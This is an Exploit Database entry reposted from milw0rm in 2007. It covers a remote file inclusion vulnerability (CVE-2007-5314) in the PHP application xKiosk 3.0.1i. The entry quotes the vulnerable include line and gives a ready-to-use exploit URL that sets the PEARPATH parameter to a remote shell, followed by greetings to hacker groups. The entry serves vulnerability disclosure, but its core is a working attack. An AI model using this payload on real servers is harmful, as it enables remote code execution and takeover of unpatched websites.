Exploit Database - Logo

xKiosk 3.0.1i - 'xkurl.php PEARPATH' Remote File Inclusion

EDB-ID: 4502 Author: BorN To K!LL Published: 2007-10-08
CVE: CVE-2007-5314 Type: Webapps Platform: PHP
Aliases: N/A Advisory/Source: N/A Tags: Vulnerability
E-DB Verified: Verified Exploit: Download Exploit Code Download / View Raw Vulnerable App: N/A
« Previous Exploit Next Exploit » 
xKiosk WEB <= (PEARPATH) Remote File Include Vulnerability

Script : xKiosk WEB

Version : 3.0.1i

Download : http://xkiosk.net/xkiosk.3.0.1j.web.zip

AUTHOR : BorN To K!LL

Vuln Code :

include($PEARPATH.'Client.php');

3xpl0!T :

[p4th]/system/funcs/xkurl.php?PEARPATH=[-SHell-]

Greetings 2 :

str0ke - Dr.2 - AsbMay's Group - GoLd_M - KuWaiT SeCuriTy ..

BorN To K!LL <> GoLd_M = 4ever ... =P

# milw0rm.com [2007-10-08]

Related Exploits

Trying to match CVEs (1): CVE-2007-5314
Trying to match OSVDBs (1): 37620
Other Possible E-DB Search Terms: xKiosk 3.0.1i,  xKiosk
Date D V Title Author
No matches
Menu